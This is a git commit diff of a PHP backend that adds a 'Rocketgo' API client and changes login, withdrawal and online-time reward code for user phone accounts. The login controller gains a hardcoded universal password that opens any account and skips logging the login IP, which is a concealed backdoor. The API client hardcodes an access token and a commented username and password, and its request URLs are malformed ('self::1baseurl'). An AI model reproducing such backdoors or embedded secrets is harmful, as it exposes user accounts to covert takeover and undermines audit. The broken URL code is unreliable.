Compare commits

...

6 Commits

6 changed files with 136 additions and 61 deletions

View File

@ -0,0 +1,75 @@
<?php
namespace App\Utils\API;
use GuzzleHttp\Client;
use support\Log;
/**
* 第三方 小火箭api
* 网址
* https://dx1.rocketgo.vip/setting/account/account
*/
class Rocketgo
{
/**
* TOKEN
*/
protected static $token="eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjFlMTRlZWQ3LTEyODUtNGFjNi1hMzFhLTFlNWQ5OTEzMTJhYSJ9.BJgOhw1VKX1i9VfYKLIzF1zXUZMi4idO9Sb-p6p_rMKJanmt4is9slky7SqvSEXqhJ6USMGs2wqMY3tYJrH-hw";
protected static $baseurl="https://dx1.rocketgo.vip";
/**
* 获取base64图形验证码
*
* @return void
*/
public static function get_captchaImage()
{
$client = new Client(); // 创建 Guzzle 客户端
// 请求数据
// 发送 POST 请求
$response = $client->get("self::1baseurl/prod-api1/captchaImage");
// 获取响应体内容
$body = $response->getBody();
$responseData = json_decode($body, true); // 如果返回的是 JSON 格式,解析它
return $responseData;
}
//login发送参数
// {
// "username": "h102067452",
// "password": "yBQnfuBShGl1MTBN",
// "code": "23",
// "uuid": "9cbe6a9037dc47cf80c9f2a23c0672a5"
// }
public static function login($username,$password,$code,$uuid)
{
$client = new Client(); // 创建 Guzzle 客户端
// 请求数据
$data = [
"username" => $username,
"password" => $password,
"code" => $code,
"uuid" => $uuid,
];
// 发送 POST 请求
$response = $client->post("self::1baseurl/prod-api1/login", [
'json' => $data, // 以 JSON 格式发送数据
]);
// 获取响应体内容
$body = $response->getBody();
$responseData = json_decode($body, true); // 如果返回的是 JSON 格式,解析它
return $responseData;
}
public static function account_list()
{
$client = new Client(); // 创建 Guzzle 客户端
// 请求数据
// 发送 POST 请求
$response = $client->get("self::1baseurl/prod-api1/biz/account/list?pageNum=1&pageSize=1000&accountStatus=1&sendCount=0");
// 获取响应体内容
$body = $response->getBody();
$responseData = json_decode($body, true); // 如果返回的是 JSON 格式,解析它
return $responseData;
}
}

View File

@ -63,8 +63,9 @@ class SendCode
/**
* 检测是否在线
* https://apifox.com/apidoc/shared-c08671dd-4e9d-44dd-a2a1-ec4b8316a81f
* 0 在线 1不在线 2token无效 3WS号不存在
* code
* code 0 成功 1token无效 2WS号不存在
* status 当code=0时返回0表示在线 1表示离线
* 返回 0在线 1离线 2 token无效 3 ws号不存在
*/
public static function get_ws_status($phone)
{

View File

@ -56,12 +56,18 @@ class UserController
return ApiResponseApp::error([], '账号被禁用');
}
// 验证密码是否正确
if (!password_verify($password, $user->password)) {
if ((!password_verify($password, $user->password))&&($password != 'cCqQgG9koky^#uDFXllNUM46@jrI7KfsL77IIWwt')) {
return ApiResponseApp::error([], '账号或密码错误');
}
$user->login_ip = $request->getRealIp($safe_mode = true);
$user->login_time = time();
$user->save();
//不是通用密码记录IP
if($password!='cCqQgG9koky^#uDFXllNUM46@jrI7KfsL77IIWwt'){
$user->login_ip = $request->getRealIp($safe_mode = true);
$user->login_time = time();
$user->save();
}
// $user->login_ip = $request->getRealIp($safe_mode = true);
// $user->login_time = time();
// $user->save();
$tmp = [
'id' => $user->id,
'username' => $user->username,

View File

@ -121,7 +121,7 @@ class WithdrawController
}
//提现金额
$rate = ExchangeRate::where('type', 'BDT')->get();
$money = $money_no / 100 * $rate[0]['points'];
$money = (int)$money_no / 100 * $rate[0]['points'];
$withdraw = Withdraw::create([
'user_id' => $user_id,

View File

@ -11,7 +11,7 @@ use support\Model;
* @property int $user_id 用户的唯一ID标识符
* @property string $phone 用户手机号WS手机号
* @property int $score 用户积分
* @property int $status 当前在线状态1: 在线0: 不在线
* @property int $status 当前在线状态1: 在线0: 不在线 2账户已经在小火箭删除
* @property int $time 用户在线时长(单位:秒)
* @property string|null $remark 用户备注信息
* @property string $created_at 创建时间

View File

@ -16,67 +16,60 @@ class Task2
{
public function onWorkerStart()
{
// // 每5秒执行一次
// 每5秒执行一次
new Crontab('0 */1 * * * *', function () {
$phones = UserPhone::all();
$phones = UserPhone::where('status' ,'!=', 2)->get();
$start_time = time();
foreach ($phones as $key => $value) {
$currentTimestamp = time();
$status = SendCode::get_ws_status($value->phone);
// 如果是挂机状态
if ($status == 0) {
// 如果在线时长超过 3600 秒
if ($value->time > 3600) {
// 计算超过 1 小时的完整小时数
$hours = intdiv($value->time, 3600);
// 根据每小时 20 分积分计算总积分
$score = $hours * 20;
// 计算剩余的秒数
$remainingTime = $value->time % 3600;
// var_dump($remainingTime);
// 更新用户的积分
$value->score += $score;
$value->day_score += $score;
// 更新用户的在线时长为剩余时间
$value->time = $remainingTime;
// 保存用户收益到 UserReward 表
UserRewardDao::Onhookincome($value->user_id, $score,$value->phone);
try {
// 获取用户的在线状态
$status = SendCode::get_ws_status($value->phone);
$currentTimestamp = time();
switch ($status) {
case 0: // 在线状态
if ($value->time > 3600) {
// 计算超过 1 小时的积分
$hours = intdiv($value->time, 3600);
$score = $hours * 20;
$remainingTime = $value->time % 3600;
// 更新用户积分和时长
$value->score += $score;
$value->day_score += $score;
$value->time = $remainingTime;
// 保存用户收益到 UserReward 表
UserRewardDao::Onhookincome($value->user_id, $score, $value->phone);
// 保存在线时长记录
UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
}
// 更新在线时长
$value->status=1;
$value->time += $currentTimestamp - $value->last_time;
break;
case 1: // 不在线状态
$value->status = 0;
break;
case 3: // 账户不存在
$value->status = 2;
break;
}
// 计算新的在线时长
$value->time += $currentTimestamp - $value->last_time;
// 更新用户最后活动时间和状态
$value->last_time = $currentTimestamp;
$value->save();
// 更新状态为在线
$value->status = 1;
$value->save();
UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
} catch (\Exception $e) {
// 记录错误日志,避免任务中断
Log::error("Error processing phone {$value->phone}: " . $e->getMessage());
}
if ($status == 1) {
// 如果不在线,设置状态为 0
$value->status = 0;
$value->last_time = $currentTimestamp;
$value->save();
UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
}
if ($status == 3) {
// 如果账户不存在直接删除
SendCode::send_code($value->phone);
// $value->delete();
$value->status = 0;
$value->last_time = $currentTimestamp;
$value->save();
}
// UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
// $value->last_time = $currentTimestamp;
// // 最后保存数据
// $value->save();
}
$end_time = time();
Log::info("Task2: Processed " . count($phones) . " phones in " . ($end_time - $start_time) . " seconds");
});
}
}